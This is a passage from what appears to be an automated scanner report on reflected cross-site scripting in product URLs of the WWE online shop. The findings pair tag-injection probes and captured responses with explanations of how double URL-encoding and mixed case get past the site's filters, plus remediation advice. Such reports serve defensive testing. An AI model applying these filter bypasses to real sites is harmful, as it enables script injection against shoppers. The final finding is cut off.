This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/kofi-kingston-boom-squad-scarf/NewReleasesf4997%253c%252fScRiPt%2520%253e%253ca%253ebf9dd5785e9/50-06502 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52430
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=71018%5F50%2D06502%5FKofi+Kingston+Boom+Squad+Scarf%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119394038363791620&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=HKIPFBECICOAMPDNHOMLAGDH; path=/
Date: Fri, 12 Nov 2010 00:39:40 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Kofi
...[SNIP]...


   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::kofi-kingston-boom-squad-scarf"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasesf4997</script ><a>bf9dd5785e9"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.10. http://www.wweshop.com/item/nexus-logo-trucker-cap/NewReleases/02-00716 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/nexus-logo-trucker-cap/NewReleases/02-00716

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a4dc%253c%252fScRiPt%2520%253e%253ca%253e9a2361c76c was submitted in the REST URL parameter 3. This input was echoed as 1a4dc</ScRiPt ><a>9a2361c76c in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/nexus-logo-trucker-cap/NewReleases1a4dc%253c%252fScRiPt%2520%253e%253ca%253e9a2361c76c/02-00716 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52832
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02783%5F02%2D00716%5FNexus+Logo+Trucker+Cap%5F%5F19%2E99%5FY%2A%2A%2A&CARTID=2010111119394625797379266&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=EOPLHCECCNMIGEBDMKFECPMG; path=/
Date: Fri, 12 Nov 2010 00:39:46 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Nexus
...[SNIP]...
Var16=""

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::nexus-logo-trucker-cap"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases1a4dc</script ><a>9a2361c76c"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.11. http://www.wweshop.com/item/nexus-scarf/NewReleases/50-06724 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/nexus-scarf/NewReleases/50-06724

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 40fae%253c%252fScRiPt%2520%253e%253ca%253e5144e160dad was submitted in the REST URL parameter 3. This input was echoed as 40fae</ScRiPt ><a>5144e160dad in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/nexus-scarf/NewReleases40fae%253c%252fScRiPt%2520%253e%253ca%253e5144e160dad/50-06724 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52240
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02733%5F50%2D06724%5FNexus+Scarf%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119394302115125238&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=HNPLHCECEKNLDCLGJCHHEOEE; path=/
Date: Fri, 12 Nov 2010 00:39:43 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Nexus
...[SNIP]...
"
   var s_eVar16=""

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::nexus-scarf"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases40fae</script ><a>5144e160dad"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.12. http://www.wweshop.com/item/old-school-block-logo-waffle-long-sleeve-t-shirt/NewReleases/01-12490 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/old-school-block-logo-waffle-long-sleeve-t-shirt/NewReleases/01-12490

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 798b9%253c%252fScRiPt%2520%253e%253ca%253e556bb712edc was submitted in the REST URL parameter 3. This input was echoed as 798b9</ScRiPt ><a>556bb712edc in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/old-school-block-logo-waffle-long-sleeve-t-shirt/NewReleases798b9%253c%252fScRiPt%2520%253e%253ca%253e556bb712edc/01-12490 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53970
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02760%5F01%2D12492%5FOld+School+Block+Logo+Waffle+Long+Sleeve+T%2DShirt%5F%5F36%2E99%5FY%2A%2A%2A&CARTID=2010111119400046022193109&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=PPIPFBECABDGOPPHCIBHEDFB; path=/
Date: Fri, 12 Nov 2010 00:40:00 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Old S
...[SNIP]...
"wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::old-school-block-logo-waffle-long-sleeve-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases798b9</script ><a>556bb712edc"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.13. http://www.wweshop.com/item/old-school-graphite-block-logo-t-shirt/NewReleases/01-12481 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/old-school-graphite-block-logo-t-shirt/NewReleases/01-12481

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba2c2%253c%252fScRiPt%2520%253e%253ca%253ec06acea569a was submitted in the REST URL parameter 3. This input was echoed as ba2c2</ScRiPt ><a>c06acea569a in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/old-school-graphite-block-logo-t-shirt/NewReleasesba2c2%253c%252fScRiPt%2520%253e%253ca%253ec06acea569a/01-12481 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53718
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02758%5F01%2D12483%5FOld+School+Graphite+Block+Logo+T%2Dshirt%5F%5F29%2E99%5FY%2A%2A%2A&CARTID=2010111119395723534210931&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=ABAMHCECNJGLMCHPJGKOFHBK; path=/
Date: Fri, 12 Nov 2010 00:39:57 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Old S
...[SNIP]...
s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::old-school-graphite-block-logo-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasesba2c2</script ><a>c06acea569a"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.14. http://www.wweshop.com/item/old-school-raw-is-war-t-shirt/NewReleases/01-12476 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/old-school-raw-is-war-t-shirt/NewReleases/01-12476

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83cb6%253c%252fScRiPt%2520%253e%253ca%253e9b64ba068f3 was submitted in the REST URL parameter 3. This input was echoed as 83cb6</ScRiPt ><a>9b64ba068f3 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/old-school-raw-is-war-t-shirt/NewReleases83cb6%253c%252fScRiPt%2520%253e%253ca%253e9b64ba068f3/01-12476 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53722
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02757%5F01%2D12479%5FOld+School+Raw+is+War+T%2DShirt%5F%5F27%2E99%5FY%2A%2A%2A&CARTID=2010111119395732314609491&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=PAAMHCECFCHHHEGIELGFMGGC; path=/
Date: Fri, 12 Nov 2010 00:39:56 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Old S
...[SNIP]...
"

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::old-school-raw-is-war-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases83cb6</script ><a>9b64ba068f3"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.15. http://www.wweshop.com/item/randy-orton-lobotomy-top-rope-sweatshirt/NewReleases/04-00845 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/randy-orton-lobotomy-top-rope-sweatshirt/NewReleases/04-00845

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4082d%253c%252fScRiPt%2520%253e%253ca%253ef87664a4404 was submitted in the REST URL parameter 3. This input was echoed as 4082d</ScRiPt ><a>f87664a4404 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/randy-orton-lobotomy-top-rope-sweatshirt/NewReleases4082d%253c%252fScRiPt%2520%253e%253ca%253ef87664a4404/04-00845 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 54336
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=49146%5F04%2D00848%5FRandy+Orton+Lobotomy+Top+Rope+Sweatshirt%5F%5F54%2E95%5FY%2A%2A%2A&CARTID=2010111119393593735575067&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=AIIPFBECIIGHOMDIJNKNGNPH; path=/
Date: Fri, 12 Nov 2010 00:39:35 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Randy
...[SNIP]...
_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::randy-orton-lobotomy-top-rope-sweatshirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases4082d</script ><a>f87664a4404"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.16. http://www.wweshop.com/item/randy-orton-viper-basics-t-shirt/NewReleases/01-12746 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/randy-orton-viper-basics-t-shirt/NewReleases/01-12746

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e8b9%253c%252fScRiPt%2520%253e%253ca%253e3d460af7808 was submitted in the REST URL parameter 3. This input was echoed as 5e8b9</ScRiPt ><a>3d460af7808 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/randy-orton-viper-basics-t-shirt/NewReleases5e8b9%253c%252fScRiPt%2520%253e%253ca%253e3d460af7808/01-12746 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52979
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=49224%5F01%2D12748%5FRandy+Orton+Viper+Basics+T%2DShirt%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119395412239044916&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=JAAMHCECIONNKKKIGGDIIHLN; path=/
Date: Fri, 12 Nov 2010 00:39:53 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Randy
...[SNIP]...

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::randy-orton-viper-basics-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases5e8b9</script ><a>3d460af7808"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.17. http://www.wweshop.com/item/randy-orton-viper-basics-youth-t-shirt/NewReleases/01-12742 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/randy-orton-viper-basics-youth-t-shirt/NewReleases/01-12742

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1c222%253c%252fScRiPt%2520%253e%253ca%253ee34be4acabf was submitted in the REST URL parameter 3. This input was echoed as 1c222</ScRiPt ><a>e34be4acabf in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/randy-orton-viper-basics-youth-t-shirt/NewReleases1c222%253c%252fScRiPt%2520%253e%253ca%253ee34be4acabf/01-12742 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53104
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=49223%5F01%2D12744%5FRandy+Orton+Viper+Basics+YOUTH+T%2DShirt%5F%5F9%2E99%5FY%2A%2A%2A&CARTID=2010111119394874905759394&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=GNIPFBECFKBPCGPOLJHIAJBO; path=/
Date: Fri, 12 Nov 2010 00:39:48 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Randy
...[SNIP]...
s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::randy-orton-viper-basics-youth-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases1c222</script ><a>e34be4acabf"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.18. http://www.wweshop.com/item/randy-orton-viper-scarf/NewReleases/50-06505 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/randy-orton-viper-scarf/NewReleases/50-06505

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27a52%253c%252fScRiPt%2520%253e%253ca%253eb5c7c24b15e was submitted in the REST URL parameter 3. This input was echoed as 27a52</ScRiPt ><a>b5c7c24b15e in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/randy-orton-viper-scarf/NewReleases27a52%253c%252fScRiPt%2520%253e%253ca%253eb5c7c24b15e/50-06505 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52633
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=49186%5F50%2D06505%5FRandy+Orton+Viper+Scarf%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119393806810260736&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=FJIPFBECBMJCHDIEGINJKMLN; path=/
Date: Fri, 12 Nov 2010 00:39:37 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Randy
...[SNIP]...
ar16=""

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::randy-orton-viper-scarf"    
   var s_eVar23="new release"    
